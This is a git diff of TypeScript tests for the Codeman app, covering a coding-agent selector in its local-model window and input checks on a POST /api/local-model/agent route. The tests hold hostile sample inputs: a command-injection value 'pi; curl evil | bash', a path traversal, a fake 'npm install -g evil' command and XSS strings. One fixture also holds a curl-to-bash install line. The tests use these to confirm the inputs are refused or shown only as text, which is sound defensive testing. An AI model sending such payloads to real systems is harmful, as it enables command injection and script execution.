@@ -510,6 +510,71 @@ describe('the local model window (real Chromium)', () => {
expect(overflow).toBeLessThanOrEqual(0);
});
it('the coding agents: chips that wrap inside the window at every width, the install command included', async () => {
const agents = [
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', actions: ['start-session'] },
{
cli: 'claude',
cliLabel: 'Claude Code',
default: false,
status: 'ready',
slowFirstTurn: true,
actions: ['start-session'],
},
{
cli: 'pi',
cliLabel: 'Pi',
default: false,
status: 'installable',
installCommand: 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent',
actions: ['install'],
},
{ cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', actions: [] },
];
const answer = {
...INSTALLED,
install: {
...INSTALLED.install,
harnesses: agents,
actions: [...INSTALLED.install.actions, 'install-agent'],
},
};
for (const [width, height] of [
[1440, 900],
[390, 844],
[320, 640],
]) {
await load(width, height, answer);
await open();
// The agent that is not on this Mac: its command is the longest line of the block.
await p.locator('.lm-agent', { hasText: 'Pi' }).click();
const seen = await p.evaluate(() => {
const frame = document.querySelector('.local-model-window')!.getBoundingClientRect();
const body = document.getElementById('localModelWindowBody')!;
const outside = [...document.querySelectorAll('.lm-agent, .lm-agents .lm-command, .lm-buttons button')]
.map((el) => el.getBoundingClientRect())
.filter((box) => box.width > 0 && (box.left < frame.left - 0.5 || box.right > frame.right + 0.5)).length;
const chips = [...document.querySelectorAll<HTMLElement>('.lm-agent')];
return {
chips: chips.length,
outside,
sideways: body.scrollWidth - body.clientWidth,
checked: document.querySelector('.lm-agent[aria-checked="true"] .lm-agent-name')!.textContent,
tabStops: chips.filter((chip) => chip.tabIndex === 0).length,
main: document.querySelector('.lm-buttons .wt-btn-primary')!.textContent,
};
});
expect(seen, `${width}px`).toEqual({
chips: 4,
outside: 0,
sideways: 0,
checked: 'Pi',
tabStops: 1,
main: 'Install Pi',
});
}
});
it('paints above App Settings when it is opened from there', async () => {
await load(1440);
await p.evaluate(() => document.getElementById('appSettingsModal')!.classList.add('active'));
+376 -1
View File
@@ -51,6 +51,7 @@ import type {
HardwareFacts,
LocalModelConflict,
LocalModelErrorCode,
LocalModelHarnessRow,
LocalModelInstallView,
LocalModelLibraryRow,
LocalModelMessage,
@@ -77,7 +78,7 @@ interface App {
openLocalModelWindow(): void;
closeLocalModelWindow(): void;
isLocalModelWindowOpen(): boolean;
startLocalModelSession(): Promise<void>;
startLocalModelSession(cli?: string): Promise<void>;
loadAppSettingsFromServer?: () => Promise<void>;
loadCliListForSettings?: () => Promise<void>;
selectCustomModelEntry?: (cli: string, endpointId: string) => Promise<void>;
@@ -389,6 +390,7 @@ function install(over: Partial<LocalModelInstallView> = {}): LocalModelInstallVi
runtime: RUNTIME_MISSING,
folder: FOLDER,
library: [],
harnesses: [],
actions: ['install'],
...over,
};
@@ -2870,6 +2872,379 @@ describe('the models on this Mac', () => {
});
});
// ---------- The coding agents of an installed model ----------
/** The agents the server lists for the installed model: two that can be started, one to install, one that needs a setup. */
const AGENTS: LocalModelHarnessRow[] = [
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: ['start-session'] },
{
cli: 'claude',
cliLabel: 'Claude Code',
default: false,
status: 'ready',
slowFirstTurn: true,
actions: ['start-session'],
},
{
cli: 'pi',
cliLabel: 'Pi',
default: false,
status: 'installable',
installCommand: 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent',
actions: ['install'],
},
{ cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', readyMark: '❯', actions: [] },
];
const withAgents = (rows: LocalModelHarnessRow[], over: Partial<LocalModelInstallView> = {}) =>
status(
{},
{ ...INSTALLED.install, harnesses: rows, actions: [...INSTALLED.install.actions, 'install-agent'], ...over }
);
const WITH_AGENTS = withAgents(AGENTS);
describe('the coding agents of an installed model', () => {
const chips = (page: Mounted) => texts(page.body, '.lm-agent').map((text) => text.trim());
const chosen = (page: Mounted) =>
page.body.querySelector('.lm-agent[aria-checked="true"] .lm-agent-name')?.textContent ?? null;
const pick = (page: Mounted, label: string) => {
const chip = [...page.body.querySelectorAll<HTMLButtonElement>('.lm-agent')].find(
(el) => el.querySelector('.lm-agent-name')!.textContent === label
);
expect(chip, `no agent "${label}"`).toBeTruthy();
chip!.click();
};
const launcher = (app: App) => {
app.loadAppSettingsFromServer = vi.fn(async () => undefined);
app.loadCliListForSettings = vi.fn(async () => undefined);
app.selectCustomModelEntry = vi.fn(async () => undefined);
return app.selectCustomModelEntry;
};
it('is one radio group: a chip per agent in the server order, the default selected, a tag on what is not there', async () => {
const page = mount();
await opened(page, WITH_AGENTS);
const group = page.body.querySelector('.lm-agent-list')!;
expect(group.getAttribute('role')).toBe('radiogroup');
expect(page.document.getElementById(group.getAttribute('aria-labelledby')!)!.textContent).toBe(
'Start a session with'
);
expect(texts(page.body, '.lm-agent-name')).toEqual(['OpenCode', 'Claude Code', 'Pi', 'DeepSeek']);
expect(chips(page)).toEqual(['OpenCode', 'Claude Code', 'PiNot installed', 'DeepSeekNeeds setup']);
expect(chosen(page)).toBe('OpenCode');
// One tab stop for the group.
expect([...page.body.querySelectorAll<HTMLElement>('.lm-agent')].map((el) => el.tabIndex)).toEqual([0, -1, -1, -1]);
// The chips say which agent, so the facts line no longer does.
expect(page.body.textContent).not.toContain('Runs with');
expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']);
expect(frameOf(page.body).querySelectorAll('.lm-buttons .wt-btn-primary')).toHaveLength(1);
});
it('starts the session with the selected agent, and this device remembers the agent it started', async () => {
const page = mount();
const { app } = await opened(page, WITH_AGENTS);
const launch = launcher(app);
pick(page, 'Claude Code');
expect(chosen(page)).toBe('Claude Code');
// What the catalogue says about its first answer.
expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual(['The first answer can take minutes.']);
expect(verbs(app)).toEqual([]);
// Looking at a chip is not a choice yet.
expect(page.dom.window.localStorage.getItem('codeman-local-model-agent')).toBeNull();
press(page.body, 'Start a session');
await settle();
expect(launch).toHaveBeenCalledWith('claude', 'local-ollama');
// The window opened again later: the agent last started stands, not the default.
expect(page.dom.window.localStorage.getItem('codeman-local-model-agent')).toBe('claude');
const again = page.newApp(ok(WITH_AGENTS));
await again.loadLocalModel();
again.openLocalModelWindow();
await settle();
expect(chosen(page)).toBe('Claude Code');
});
it('a chip that was only looked at never hides Start a session when the window is opened again', async () => {
const page = mount();
const { app } = await opened(page, WITH_AGENTS);
pick(page, 'DeepSeek');
expect(buttons(page.body)).toEqual(['Remove', 'Stop']);
app.closeLocalModelWindow();
app.openLocalModelWindow();
await settle();
// Back on the default agent, with the main action in reach.
expect(chosen(page)).toBe('OpenCode');
expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']);
// And an agent that was started once and has since been uninstalled does not win either.
page.dom.window.localStorage.setItem('codeman-local-model-agent', 'pi');
app.closeLocalModelWindow();
app.openLocalModelWindow();
await settle();
expect(chosen(page)).toBe('OpenCode');
expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']);
});
it('a remembered agent the server no longer lists falls back to the default', async () => {
const page = mount();
page.dom.window.localStorage.setItem('codeman-local-model-agent', 'gone');
const { app } = await opened(page, WITH_AGENTS);
expect(chosen(page)).toBe('OpenCode');
const launch = launcher(app);
press(page.body, 'Start a session');
await settle();
expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama');
});
it('an agent that is not on this Mac: its literal command, and the main button installs it', async () => {
const page = mount();
const installing = AGENTS.map((row) =>
row.cli === 'pi' ? { ...row, status: 'installing' as const, actions: [] } : row
);
const { app, serve } = await opened(page, WITH_AGENTS, () =>
ok(withAgents(installing, { actions: INSTALLED.install.actions }).install)
);
pick(page, 'Pi');
expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([
'Pi is not on this Mac yet. Codeman installs it with this command:',
]);
// The command the click consents to, as text, exactly as the server sent it.
expect(texts(page.body, '.lm-agent-about .lm-command')).toEqual([
'npm install -g --ignore-scripts @earendil-works/pi-coding-agent',
]);
expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Install Pi']);
expect(frameOf(page.body).querySelector('.lm-buttons .wt-btn-primary')!.textContent).toBe('Install Pi');
press(page.body, 'Install Pi');
await settle();
// The id goes out as data; the command is the server's own and is never sent.
expect(verbs(app)).toEqual([['POST', '/api/local-model/agent', { cli: 'pi' }]]);
expect(chips(page)).toContain('PiInstalling');
expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([
'Installing Pi. You can start a session with another agent meanwhile.',
]);
const main = frameOf(page.body).querySelector<HTMLButtonElement>('.lm-buttons .wt-btn-primary')!;
expect([main.textContent, main.disabled]).toEqual(['Installing Pi', true]);
// The model is as it was: still installed, still running.
expect(page.body.dataset.screen).toBe('installed');
expect(texts(page.body, '.lm-state-text')).toEqual(['Running']);
// The installer landed: the next poll says so, and the same chip now starts a session.
serve(
withAgents(
AGENTS.map((row) =>
row.cli === 'pi'
? {
cli: 'pi',
cliLabel: 'Pi',
default: false,
status: 'ready' as const,
actions: ['start-session' as const],
}
: row
)
)
);
await page.tick();
expect(chips(page)).toContain('Pi');
expect(chosen(page)).toBe('Pi');
expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']);
const launch = launcher(app);
press(page.body, 'Start a session');
await settle();
expect(launch).toHaveBeenCalledWith('pi', 'local-ollama');
});
it('while an agent installs, a session with another agent can be started', async () => {
const page = mount();
const rows = AGENTS.map((row) => (row.cli === 'pi' ? { ...row, status: 'installing' as const, actions: [] } : row));
const { app } = await opened(page, withAgents(rows, { actions: INSTALLED.install.actions }));
expect(chosen(page)).toBe('OpenCode');
const launch = launcher(app);
press(page.body, 'Start a session');
await settle();
expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama');
});
it('a failed install: the server sentence on the chip that failed, the installer words folded away, and try again', async () => {
const page = mount();
const rows = AGENTS.map((row) =>
row.cli === 'pi'
? {
...row,
error: {
message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'Pi' } },
detail: 'npm ERR! <b>network</b> request failed',
},
}
: row
);
await opened(page, withAgents(rows));
// Not shown under another agent.
expect(page.body.querySelector('.lm-agent-about .lm-notice')).toBeNull();
pick(page, 'Pi');
expect(texts(page.body, '.lm-agent-about .lm-notice-text')).toEqual(['Pi could not be installed.']);
const detail = page.body.querySelector('.lm-agent-about .lm-detail-text')!;
// Someone else's text: shown as text, never as markup.
expect(detail.textContent).toBe('npm ERR! <b>network</b> request failed');
expect(detail.querySelector('b')).toBeNull();
expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Install Pi']);
// The model itself has no error: the headline still says ready.
expect(texts(page.body, '.lm-title')).toEqual(['Qwen3.6 35B-A3B is ready on this Mac.']);
});
it('an agent that needs a setup of its own says where, and has nothing to press', async () => {
const page = mount();
const { app } = await opened(page, WITH_AGENTS);
pick(page, 'DeepSeek');
expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([
'DeepSeek needs a setup of its own. Set it up from the Run menu, then start a session with it here.',
]);
expect(buttons(page.body)).toEqual(['Remove', 'Stop']);
expect(verbs(app)).toEqual([]);
});
it('with no agent that can be started the main button installs the default one', async () => {
const page = mount();
const rows: LocalModelHarnessRow[] = [
{
cli: 'opencode',
cliLabel: 'OpenCode',
default: true,
status: 'installable',
installCommand: 'curl -fsSL https://opencode.ai/install | bash',
actions: ['install'],
},
];
await opened(page, withAgents(rows, { actions: ['stop', 'install', 'install-agent', 'remove'] }));
expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Install OpenCode']);
expect(texts(page.body, '.lm-command')).toEqual(['curl -fsSL https://opencode.ai/install | bash']);
});
it('a stopped model: Start stays the one main button, and an agent can still be installed', async () => {
const page = mount();
const rows = AGENTS.map((row) => (row.status === 'ready' ? { ...row, actions: [] } : row));
const { app } = await opened(
page,
withAgents(rows, { running: false, actions: ['start', 'install', 'install-agent', 'remove'] }),
() => ok(withAgents(rows, { running: false, actions: ['start', 'install', 'remove'] }).install)
);
expect(buttons(page.body)).toEqual(['Remove', 'Start']);
pick(page, 'Pi');
expect(buttons(page.body)).toEqual(['Remove', 'Start', 'Install Pi']);
const primary = frameOf(page.body).querySelectorAll('.lm-buttons .wt-btn-primary');
expect([...primary].map((el) => el.textContent)).toEqual(['Start']);
press(page.body, 'Install Pi');
await settle();
expect(verbs(app)).toEqual([['POST', '/api/local-model/agent', { cli: 'pi' }]]);
});
it('moves the selection with the arrow keys, Home and End, and the focus follows', async () => {
const page = mount();
await opened(page, WITH_AGENTS);
page.body.querySelector<HTMLElement>('.lm-agent[aria-checked="true"]')!.focus();
const key = (name: string) => {
const event = new page.dom.window.KeyboardEvent('keydown', { key: name, bubbles: true, cancelable: true });
page.document.activeElement!.dispatchEvent(event);
return event;
};
const walk: Array<[string, string]> = [
['ArrowRight', 'Claude Code'],
['ArrowDown', 'Pi'],
['ArrowLeft', 'Claude Code'],
['ArrowUp', 'OpenCode'],
// The ends wrap.
['ArrowLeft', 'DeepSeek'],
['ArrowRight', 'OpenCode'],
['End', 'DeepSeek'],
['Home', 'OpenCode'],
];
for (const [name, agent] of walk) {
const event = key(name);
expect(event.defaultPrevented, name).toBe(true);
expect(chosen(page), name).toBe(agent);
const active = page.document.activeElement!;
expect(active.classList.contains('lm-agent'), name).toBe(true);
expect(active.getAttribute('aria-checked'), name).toBe('true');
}
// Any other key is left alone.
expect(key('a').defaultPrevented).toBe(false);
});
it('is not on the screen that ends an install, and not while something blocks every session', async () => {
const page = mount();
const { app, serve } = await opened(page, INSTALLING);
serve(WITH_AGENTS);
await page.tick();
// The install just finished in this window: one thing to do.
expect(page.body.querySelector('.lm-agents')).toBeNull();
expect(buttons(page.body)).toEqual(['Start a session']);
const launch = launcher(app);
press(page.body, 'Start a session');
await settle();
// The agent that was chosen for the install: the server's default.
expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama');
const blocked = mount();
await opened(
blocked,
withAgents(
AGENTS.map((row) => ({ ...row, actions: row.actions.filter((action) => action !== 'start-session') })),
{
actions: ['stop', 'install', 'remove'],
error: {
code: 'model-changed',
message: { text: LOCAL_MODEL_INSTALL_LABELS.errModelChanged },
next: 'remove',
},
}
)
);
expect(blocked.body.querySelector('.lm-agents')).toBeNull();
expect(buttons(blocked.body)).not.toContain('Start a session');
});
it('an agent name is text of someone else: shown as text', async () => {
const page = mount();
const rows = AGENTS.map((row) =>
row.cli === 'pi'
? { ...row, cliLabel: '<img src=x onerror=alert(1)>', installCommand: '<script>x</script>' }
: row
);
await opened(page, withAgents(rows));
pick(page, '<img src=x onerror=alert(1)>');
expect(page.body.querySelector('.lm-agents img, .lm-agents script')).toBeNull();
expect(texts(page.body, '.lm-command')).toEqual(['<script>x</script>']);
expect(buttons(page.body)).toContain('Install <img src=x onerror=alert(1)>');
});
it('in Chinese: the label, the tags, the line and the button', async () => {
const page = mount({ i18n: true });
page.win.CodemanI18n.start();
page.win.CodemanI18n.configure({ language: 'zh-CN' });
await opened(page, WITH_AGENTS);
expect(texts(page.body, '.lm-agents-label')).toEqual(['开始会话时使用']);
expect(texts(page.body, '.lm-agent .lm-tag')).toEqual(['未安装', '需要设置']);
pick(page, 'Pi');
expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([
'此 Mac 上尚未安装 Pi。Codeman 会用下面这条命令安装它:',
]);
expect(buttons(page.body)).toContain('安装 Pi');
});
it('a server that lists no agents (an older one): the one agent of the install, as before', async () => {
const page = mount();
const { app } = await opened(page, INSTALLED);
expect(page.body.querySelector('.lm-agents')).toBeNull();
expect(page.body.textContent).toContain('Runs with OpenCode.');
const launch = launcher(app);
press(page.body, 'Start a session');
await settle();
expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama');
});
});
describe('what an earlier Remove left on disk', () => {
const LEFT = status({}, { store: STORE_ONE, actions: ['install', 'remove'] });
+78 -1
View File
@@ -156,6 +156,7 @@ const IDLE_VIEW: LocalModelInstallView = {
runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' },
folder: '/Users/me/.codeman/local-model',
library: [],
harnesses: [],
actions: ['install'],
};
@@ -185,6 +186,7 @@ function fakeService(): ServiceMock {
install: vi.fn(async () => OK_RESULT),
use: vi.fn(async () => OK_RESULT),
deleteLibraryModel: vi.fn(async () => OK_RESULT),
installAgent: vi.fn(async () => OK_RESULT),
cancel: vi.fn(async () => OK_RESULT),
resume: vi.fn(async () => OK_RESULT),
runtime: vi.fn(async () => OK_RESULT),
@@ -284,8 +286,21 @@ describe('GET /api/local-model', () => {
const res = await get(f.deps);
expect(res.json().data.install).toEqual(INSTALLING_VIEW);
expect(f.service.view).toHaveBeenCalledTimes(1);
// The facts built for the recommendation are the ones the view lists its coding agents
// from: the availability probe is asked once per answer, not twice.
expect(f.service.view).toHaveBeenCalledWith({ harnessFacts: FACTS });
expect(f.buildHarnessFacts).toHaveBeenCalledTimes(1);
// Looking is not doing: no verb of the service was called.
for (const verb of ['install', 'cancel', 'resume', 'runtime', 'remove', 'boot', 'shutdown'] as const) {
for (const verb of [
'install',
'installAgent',
'cancel',
'resume',
'runtime',
'remove',
'boot',
'shutdown',
] as const) {
expect(f.service[verb]).not.toHaveBeenCalled();
}
});
@@ -565,6 +580,7 @@ describe('the install verbs', () => {
url: '/api/local-model/models',
payload: { modelId: 'qwen3.8:27b' },
},
{ name: 'installAgent', method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } },
{ name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined },
{ name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} },
{ name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } },
@@ -996,6 +1012,67 @@ describe('the library verbs', () => {
});
});
describe('POST /api/local-model/agent', () => {
it('hands the service the coding agent and who asked, and looks at no session', async () => {
const f = fakes();
const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }, SESSIONS);
await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } });
// Nothing about the model in use changes, so live sessions on it do not matter.
expect(f.service.installAgent).toHaveBeenCalledWith({ cli: 'pi' }, { username: 'alice', ip: '127.0.0.1' });
});
it('an agent the server does not offer is a 400 with the sentence, as text and as data', async () => {
const f = fakes();
f.service.installAgent.mockResolvedValue({
ok: false,
status: 400,
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'DeepSeek' } },
});
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'deepseek' } });
expect(res.statusCode).toBe(400);
expect(res.json()).toEqual({
success: false,
error: 'DeepSeek is not installed and cannot be installed from here.',
errorCode: 'INVALID_INPUT',
data: {
message: {
text: '{cli} is not installed and cannot be installed from here.',
vars: { cli: 'DeepSeek' },
},
},
});
});
it('an installer that already runs is a 409 with the reason', async () => {
const f = fakes();
f.service.installAgent.mockResolvedValue({
ok: false,
status: 409,
conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } },
});
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } });
expect(res.statusCode).toBe(409);
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT', data: { reason: 'job-running' } });
});
it.each([
['no body', undefined],
['no agent', {}],
['a command', { cli: 'pi; curl evil | bash' }],
['a path', { cli: '../bin/sh' }],
['an upper-case id', { cli: 'Pi' }],
['a command of its own', { cli: 'pi', command: 'npm install -g evil' }],
])('refuses %s before the service is asked', async (_name, payload) => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', ...(payload ? { payload } : {}) });
expect(res.statusCode).toBe(400);
expect(f.service.installAgent).not.toHaveBeenCalled();
});
});
describe('DELETE /api/local-model/models', () => {
it('hands the service the model name and who asked', async () => {
const f = fakes();